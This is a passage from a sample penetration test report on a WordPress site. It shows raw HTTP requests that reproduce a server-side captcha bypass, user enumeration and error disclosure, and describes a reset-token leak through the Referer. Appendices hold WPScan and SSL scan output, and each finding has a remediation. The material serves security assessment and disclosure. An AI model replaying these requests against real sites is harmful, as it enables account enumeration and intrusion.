_ga=GA1.2.1756489029.1562755313; _gid=GA1.2.1075917586.1562755313; _gat=1;
cookie_notice_accepted=true; _gat_UA-138684338-1=1
Host: www.noname-client.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
g-recaptcha-response[]=1&pum_form_popup_id=495&your-email=sample%40email.tst&_wpcf7
=421&_wpcf7_container_post=0&_wpcf7_locale=en_GB&_wpcf7_unit_tag=wpcf7-f421-o1&_w
pcf7_version=5.1.3
Part of response

<br />
<b>Warning</b>: trim() expects parameter 1 to be string, array given in
<b>/home/noname-client87/public_html/wp-content/plugins/contact-form-7/modules/recaptcha.
php</b> on line <b>146</b><br />
Recommendations Prevent this information from being displayed to the user.
This can be done in PHP's php.ini file or in Apache's
httpd.conf file:
php.ini: display_errors = 'off'
apache2.conf: php_flag display_errors off
Captcha Bypass in WP Panel
The g-recaptcha-response is not validated on the server-side when submitting a
Password reset form to the endpoint. It can lead to email/user enumerations.

Evidences
Steps to reproduce:
1. Go to page “Reset password”
(https://www.noname-client.com/wp-login.php?action=lostpassword)
3. Send request to repeater
4. Send password again at any time
Request:
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: www.noname-client.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.noname-client.com/wp-login.php?action=lostpassword
Content-Type: application/x-www-form-urlencoded
Content-Length: 410
_hjIncludedInSample=1; cookie_notice_accepted=true;
wordpress_test_cookie=WP+Cookie+check
Connection: close
Upgrade-Insecure-Requests: 1
user_login=123&g-recaptcha-response=03AOLTBLTk9LlGyMl2eQhuhy0DFobQzLDXUf87flO3
Cs3qIEeHGigI-V-GjRHECGmTYBvm5gzzxdbU0ZizskCS2jdHBXyS8773-lRlHOOVlDIilKKS8Cp
8Q5Rto8ADcvj5MxrF5E0bLivy-IEUmPzx65njY9ROWxG4DAsTxcf9iDf9e8xCfDThMpzDb10jCb

b8sgHs-euYvfYP84gfr6MLznQAmfDEp2jHZS45xGPCvPri0BAhtvRHdpPptvHgyBo_XH4wlp-FR
zpU3fDOtYVMvdY6m3Vx3H1jfKDiR6jbDjPsHS-o_9OoHCwY12R-8EhzApmPVO-meG0_&redir
ect_to=&wp-submit=Get+New+Password
Recommendations ● Implement checking captcha on the server-side.
● Implement rate limit
Reset Token in Referer
Password reset token sends to third party. The typical password reset link is emailed to the
user and contains a unique token that in some manner identifies the user. At this point, they are
asked to provide a new password. If an attacker were able to access the password reset link,
the attacker would then be able to authenticate as the user and provide that new password,
thus gaining unfettered access to the user’s account. Attackers frequently accomplish this by
gaining access to the user’s email, though as I recently discovered many applications are
unwittingly passing password reset links to third party sites.

Barring an intermediate redirect between the user clicking the link in their email and the
password reset form being rendered, the browser will expose the password reset link in the
Referer sent when requesting the referenced assets or the analytics package. If the user does
not complete the password reset and instead clicks on one of the external links, the password
reset link will be leaked via the Referer on those requests as well. Also reset tokens can be
stored at browser history and at third party provider side which make it possible to use this
tokens by not authorised persons or systems.
Evidences
Steps to reproduce:
1. Request a password reset and click the link that is emailed to you.
2. Copy the URL from the resulting page.
3. Open a private browser window or a different web browser and paste the copied
URL
4. Investigate all third party requests which contain password reset token

Recommendations 1. invalidate the password reset token in the request and
generate a new one that is used in the form action. The
Referer will still contain the original password reset
token, but the token is no longer valid.
2. Update the controller action so it detects the presence
of a token in the URL, stores that token in the session,
and redirects back to password edit with the token
removed the URL. The Referer will no longer contain the
necessary token.

Informational
Potential DoS Request
The request doesn’t receive a response from the server. It is spoiled because of removing
captcha field.
Evidences
Request:
POST /v1/auth/mfa/otp/secret/disable HTTP/1.1
Content-Length: 407
AWSALB=dXNCeo6T20UXeWceOhOcnGjjdnZX5vvCtAdkJbDB8qGtI7sUBMVc/uvgNSJJLzjTJ
YJbmF+v3mCR0mqX218n785QF+TX2ednyGwZ81DEQuF3u02p15pri+jUPo6n;
true=s_Psr-O9Tv-0dc11AAAl; io=yEMbOCYPwWoBTK5UAAAM;
token=113fcda814af195f12ea17ac5801dc6e89ed46288c185a074361fbd4f1c8491e821e49db1
2f97148188bce4a805e7fa5ca2fa8ed69ecbd5fe73e0b3903d9c4160
Connection: close
{"password":"QQqq1111111111!!","code":"417770"}
Recommendations Investigate this request and remove if not used.

WP Admin Panel Accessible
WP admin panel has access from Internet without any restrictions.
Evidences
Steps to reproduce:
Go to https://www.noname-client.com/wp-login.php
Recommendations WP admin panel has to provide access only from internal
networks or VPN

HTTP Without Security Headers
Description
There was no "X-Content-Type-Options" HTTP header with the value nosniff set in the
response. The lack of this header causes that certain browsers, try to determine the content
type and encoding of the response even when these properties are defined correctly. This can
make the web application vulnerable against Cross-Site Scripting (XSS) attacks. E.g. the
Internet Explorer and Safari treat responses with the content type text/plain as HTML, if they
contain HTML tags.
No X-XSS-Protection header was set in the response. This means that the browser uses
default behaviour that detection of a cross-site scripting attack never prevents rendering.
The HTTP Strict Transport Security policy defines a timeframe where a browser must connect
to the web server via HTTPS. Without a Strict Transport Security policy the web application
may be vulnerable against several attacks:
● If the web application mixes usage of HTTP and HTTPS, an attacker can manipulate
pages in the unsecured area of the application or change redirection targets in a manner that
the switch to the secured page is not performed or done in a manner, that the attacker remains
between client and server.
● If there is no HTTP server, an attacker in the same network could simulate a HTTP
server and motivate the user to click on a prepared URL by a social engineering attack.
Unless directed otherwise, browsers may store a local cached copy of content received from
web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS.
If sensitive information in application responses is stored in the local cache, then this may be
retrieved by other users who have access to the same computer at a future
time.(Cache-control: no-store, Pragma: no-cache)
The secure flag should be set on all cookies that are used for transmitting sensitive data when
accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of
the application that are accessed over HTTPS should employ their own session handling
mechanism, and the session tokens used should never be transmitted over unencrypted
communications. (NC-SSL-CSRF-TOKEN)

Recommendations Add the following headers:
● X-Content-Type-Options: nosniff
● X-XSS-Protection: 1; mode=block
● Strict-Transport-Security: max-age=<seconds>[;
includeSubDomains]
● Cache-control: no-store
● Pragma: no-cache
● NC-SSL-CSRF-TOKEN

Appendix A. WPScan results
[+] URL: http://www.noname-client.com/
[+] Effective URL: https://www.noname-client.com/
[+] Started: Wed Jul 10 02:15:37 2019
Interesting Finding(s):
[+] https://www.noname-client.com/
| Interesting Entries:
| - server: Apache
| - x-powered-by: PHP/7.3.4
| - access-control-allow-origin: *
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] http://www.noname-client.com/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] WordPress version 5.2.2 identified (Latest, released on 2019-06-18).
| Detected By: Rss Generator (Passive Detection)
| - https://www.noname-client.com/feed/, <generator>https://wordpress.org/?v=5.2.2</generator>
| - https://www.noname-client.com/comments/feed/,
<generator>https://wordpress.org/?v=5.2.2</generator>
[+] WordPress theme in use: salient
| Location: http://www.noname-client.com/wp-content/cache/min/1/wp-content/themes/salient/
| Style URL:
http://www.noname-client.com/wp-content/cache/min/1/wp-content/themes/salient/style.css
|
| Detected By: Urls In Homepage (Passive Detection)
|
| [!] 1 vulnerability identified:
|
| [!] Title: Salient Theme <= 4.9 - DOM Cross-Site Scripting (XSS)
| Fixed in: 5.5.53
| References:
| - https://wpvulndb.com/vulnerabilities/8048
| - http://themeforest.net/item/salient-responsive-multipurpose-theme/4363266
| - http://www.securityfocus.com/bid/75208/
| - https://github.com/scaron/prettyphoto/issues/149

|
| The version could not be determined.
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] contact-form-7
| Location:
http://www.noname-client.com/wp-content/cache/min/1/wp-content/plugins/contact-form-7/
| Latest Version: 5.1.3 (up to date)
| Last Updated: 2019-05-19T16:15:00.000Z
|
| Confirmed By: Hidden Input (Passive Detection)
|
| Version: 5.1.3 (60% confidence)
| Detected By: Hidden Input (Passive Detection)
| - https://www.noname-client.com/, Match: '5.1.3'
[+] contact-form-7-style
| Location:
http://www.noname-client.com/wp-content/cache/min/1/wp-content/plugins/contact-form-7-style/
| Latest Version: 3.1.8
| Last Updated: 2019-02-12T10:00:00.000Z
|
|
[+] display-medium-posts
| Location:
http://www.noname-client.com/wp-content/cache/min/1/wp-content/plugins/display-medium-posts/
| Latest Version: 4.0
| Last Updated: 2019-01-12T13:14:00.000Z
|
|
[+] js_composer

| Location:
http://www.noname-client.com/wp-content/cache/min/1/wp-content/plugins/js_composer/
|
| Detected By: Body Tag (Passive Detection)
|
| Version: 5.7 (60% confidence)
| Detected By: Body Tag (Passive Detection)
| - https://www.noname-client.com/, Match: 'js-comp-ver-5.7'
[+] salient-social
| Location:
http://www.noname-client.com/wp-content/cache/min/1/wp-content/plugins/salient-social/
|
|
[+] svg-support
| Location: http://www.noname-client.com/wp-content/cache/min/1/wp-content/plugins/svg-support/
| Latest Version: 2.3.15
| Last Updated: 2018-12-17T00:39:00.000Z
|
|
[+] wp-rocket
| Location: http://www.Client.com/wp-content/cache/min/1/wp-content/plugins/wp-rocket/
|
| Detected By: Comment (Passive Detection)
|
| [!] 1 vulnerability identified:
|
| [!] Title: WP Rocket <= 2.10.3 - Local File Inclusion (LFI)
| Fixed in: 2.10.4
| References:
| - https://wpvulndb.com/vulnerabilities/8872
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11658
| - https://wp-rocket.me/changelog
| - https://gist.github.com/Shinkurt/157dbb3767c9489f3d754f79b183a890
|

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:06
<==========================================================================
============================================================> (21 / 21) 100.00%
Time: 00:00:06
[i] No Config Backups Found.
[+] Finished: Wed Jul 10 02:16:57 2019
[+] Requests Done: 104
[+] Cached Requests: 3
[+] Data Sent: 18.413 KB
[+] Data Received: 24.09 MB
[+] Memory used: 200.641 MB
[+] Elapsed time: 00:01:20

Appendix В. Burp SSL Scanner
SSL/TLS Connection Test: Successful
● Offer SSLv2: No
● Offer SSLv3: No
● Offer TLS1.0: No
● Offer TLS1.1: Yes
● Offer TLS1.2: Yes
Available ciphers:
● NULL Cipher (no encryption): No
● ANON Cipher (no authentication): No
● EXP Cipher (without ADH+NULL): No
● LOW Cipher (64 Bit + DES Encryption): No
● WEAK Cipher (SEED, IDEA, RC2, RC4): No
● 3DES Cipher (Medium): No
● HIGH Cipher (AES+Camellia, no AEAD): Yes (OK)
● STRONG Cipher (AEAD Ciphers): Yes (OK)
Heartbleed: Not vulnerable
CCS Injection: Not vulnerable
TLS_FALLBACK_SCSV Support: Yes
POODLE (SSLv3): Not vulnerable
Sweet32: Not vulnerable
DROWN: Not vulnerable
FREAK: Not vulnerable
LUCKY13: Potentially vulnerable
CRIME (TLS): Not vulnerable
BREACH: Not vulnerable
BEAST: Not vulnerable
LOGJAM (Export): Not vulnerable
LOGJAM (Common Prime): Not vulnerable

Summary
Supported ciphers (by Protocol)
TLSv1.1
● ECDHE-RSA-AES256-SHA: LUCKY13
● AES256-SHA: LUCKY13
TLSv1.2
● ECDHE-RSA-AES256-GCM-SHA384
● ECDHE-RSA-AES256-SHA384: LUCKY13
● AES256-GCM-SHA384
● ECDHE-RSA-AES128-GCM-SHA256
● ECDHE-RSA-AES128-SHA256: LUCKY13
● AES128-GCM-SHA256
● AES128-SHA256: LUCKY13
Supported ciphers (by Vulnerability)
LUCKY13
● AES128-SHA (TLSv1.1)
● AES128-SHA256 (TLSv1.2)
● ECDHE-RSA-AES128-SHA (TLSv1.1)
● ECDHE-RSA-AES128-SHA256 (TLSv1.2)
● ECDHE-RSA-AES256-SHA384 (TLSv1.2)
Issues found
● [Low] LUCKY13
● [Information] Supported Cipher Suites

Appendix С. Automated Tools
Scope Tools used
Application Security
Acunetix 11
BurpSuite 1.7.30
Maltego Classic
FOCA 2.6
Nmap
WPScan
Sqlmap

ByteCode pentest report example

Recommended

Recommended

More Related Content

What's hot

What's hot (20)

Similar to ByteCode pentest report example

Similar to ByteCode pentest report example (20)

Recently uploaded

Recently uploaded (20)

ByteCode pentest report example